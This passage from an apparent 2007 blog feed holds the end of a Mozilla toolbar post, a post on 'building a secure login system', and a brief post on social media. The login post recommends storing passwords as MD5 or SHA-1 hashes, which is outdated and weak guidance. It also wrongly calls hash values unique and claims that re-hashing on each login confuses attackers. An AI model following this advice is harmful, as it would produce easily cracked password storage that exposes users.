------overlay.js&lt;br /&gt;------overlay.xul&lt;br /&gt;----&lt;b&gt;skin&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;i&gt;Execute xp.bat. &lt;/i&gt;This will create toolbar.xpi in toolbar &lt;toolbar&gt; directory. Now you are ready to distribute the package.&lt;/toolbar&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/690138020656024368-5900125363308508983?l=hitecweb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hitecweb.blogspot.com/feeds/5900125363308508983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=690138020656024368&amp;postID=5900125363308508983' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/5900125363308508983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/5900125363308508983'/><link rel='alternate' type='text/html' href='http://hitecweb.blogspot.com/2007/07/creating-mozilla-toolbar.html' title='Creating Mozilla toolbar'/><author><name>Abhijit</name><uri>http://www.blogger.com/profile/14868695671640352018</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.youhull.com/uploaded_images/120x120/2425c0.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Dbk-qG58O4o/RojNs2B9WLI/AAAAAAAAAAM/s8eFptbuS58/s72-c/1.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-690138020656024368.post-2423782466332083091</id><published>2007-07-01T22:13:00.000-07:00</published><updated>2007-07-02T00:41:31.309-07:00</updated><title type='text'>Building a secure login system</title><content type='html'>Sometimes we store plain text user passwords in database. If someone gets access to your database, he can damage the whole system. So its recommended to encrypt the password using one way hash algorithm before storing.&lt;br /&gt;&lt;br /&gt;Hash value is unique for a sequence of input data. The beauty of one way hash algorithm is that we can easily get the hash value of piece of data but from the hash value its almost impossible to get back the original data. There are no of hash functions available&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;SHA-1   - Output = 160 bits&lt;/li&gt;&lt;li&gt;SHA-256 - Output = 256 bits&lt;/li&gt;&lt;li&gt; SHA-512 - Output = 512 bits&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;MD5 (Message Digest algorithm 5) is also widely used hashing algorithm. The output size = 128 bits. SHA is the successor of MD5.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Storing User detail&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Lets say your application collects the following parameters while registering new user&lt;br /&gt;&lt;ol&gt;&lt;li&gt;name&lt;/li&gt;&lt;li&gt;password&lt;/li&gt;&lt;li&gt;email&lt;/li&gt;&lt;/ol&gt;So in the backend controller code, you should calculate the password hash using any of the above mentioned algorithm before storing the password in database.&lt;br /&gt;&lt;br /&gt;SHA1 hash - PHP function - sha1($_POST['password'])&lt;br /&gt;MD5 hash  -   PHP function -md5($_POST['password'])&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;User Authentication&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;When the user logs in, he will provide username and plain text password. Use the same algorithm you have used for calculating password hash at the time of registration and calculate the hash value again. As the HASH value is unique for a set of input characters and hence if the hash value matches, perform the Authentication success logic.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTE:: It is not safe to send the plain text user password over HTTP. Attacker can easily access that HTTP packet and extract the password. Always use SSL while sending user credential.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Weaknesses&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;By adding password hash you have made the hacker's life much more difficult. But its not yet a full proof solution. If somehow the hacker gets access to the database, he will try to crack the hash. Using a high speed CPU, we can generate HASH of n number of strings in one sec. So the hacker will start generating random strings and its hash value. If his random string algorithm is able to generate the same hash output that means the generated random string is the user password.&lt;br /&gt;&lt;br /&gt;Follow the steps to fix this security hole&lt;br /&gt;&lt;/span&gt;&lt;ol&gt;&lt;li&gt;Generate a random string - RANDOM_STRING&lt;br /&gt;&lt;/li&gt;&lt;li&gt;User has entered "xyz" as the password while registration.&lt;/li&gt;&lt;li&gt;Append the generated string and then calculate HASH value. So instead of stroning HASH_ALGO($_POST['password']), store HASH_ALGO($_POST['password'].RANDOM_STRING)&lt;/li&gt;&lt;li&gt;Store the RANDOM_STRING in database.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Every time user logs in, use the previously used RANDOM_STRING to calculate hash. HASH_ALGO(USER_CREDENTIAL.RANDOM_STRING). Then compare this hash value with the stored hashed password. If it matches perform Authentication success logic + perform some extra steps to confuse the hacker&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;ul&gt;&lt;li&gt;At the time of verifying user credentials, you have the plain text password.&lt;/li&gt;&lt;li&gt;Once verified -&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Generate another random string and compute&lt;br /&gt;HASH_ALGO(USER_CREDENTIAL.NEW_RANDOM_STRING) = XYZ&lt;/li&gt;&lt;li&gt;Update database fields&lt;br /&gt;password_hash and random_string&lt;/li&gt;&lt;li&gt;Thus we have updated the random number and the password hash value but not the actual password. But next time new random number will be used to validate user credential.&lt;/li&gt;&lt;li&gt;This process will change the user password hash value every time user logs in. This will confuse the hacker. Also this process will make almost all password hash values unique which in turn reduce the database damage.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Things to remember&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Store password hash value.&lt;/li&gt;&lt;li&gt;Use SSL to transmit plain text password.&lt;/li&gt;&lt;li&gt;Ask user to change the password after every x number of days.&lt;/li&gt;&lt;li&gt;Use the random string to make all the password hash values unique which will reduce database damage.&lt;/li&gt;&lt;li&gt;Use random string algorithm to change database password_hash value every time user logs in. This will confuse the hacker.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/690138020656024368-2423782466332083091?l=hitecweb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hitecweb.blogspot.com/feeds/2423782466332083091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=690138020656024368&amp;postID=2423782466332083091' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/2423782466332083091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/2423782466332083091'/><link rel='alternate' type='text/html' href='http://hitecweb.blogspot.com/2007/07/building-secure-login-system.html' title='Building a secure login system'/><author><name>Abhijit</name><uri>http://www.blogger.com/profile/14868695671640352018</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.youhull.com/uploaded_images/120x120/2425c0.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-690138020656024368.post-7550152599652959211</id><published>2007-07-01T21:21:00.001-07:00</published><updated>2007-07-01T21:21:51.259-07:00</updated><title type='text'>Impact of Social Media</title><content type='html'>Social networking is really changing the way people spend time on internet. People love to create a virtual social community around them and some of them prefer to do activities in their virtual world than real world. Its not a new concept, but the way we present data is different. Just take an example of Instant messenger, its all about a private social network, where you have access to your friends profile only. But we wanna go beyond that. Now a days social networking sites help people reach out to someone he has met or never met before.&lt;br /&gt;&lt;br /&gt;Its just the starting point. Soon we are going to see lots of new innovations in that direction. Now Web 2.0 has added a new dimension to web application.&lt;br /&gt;&lt;br /&gt;India's mobile market is booming. Total no of mobile phone subscribers will cross 200 million very soon. Will Mobile social networking become the next big thing ? The opportunity is huge. Lets wait and watch.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/690138020656024368-7550152599652959211?l=hitecweb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hitecweb.blogspot.com/feeds/7550152599652959211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=690138020656024368&amp;postID=7550152599652959211' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/7550152599652959211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/7550152599652959211'/><link rel='alternate' type='text/html' href='http://hitecweb.blogspot.com/2007/07/impact-of-social-media.html' title='Impact of Social Media'/><author><name>Abhijit</name><uri>http://www.blogger.com/profile/14868695671640352018</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.youhull.com/uploaded_images/120x120/2425c0.jpg'/></author><thr:total>0</thr:total></entry></feed>
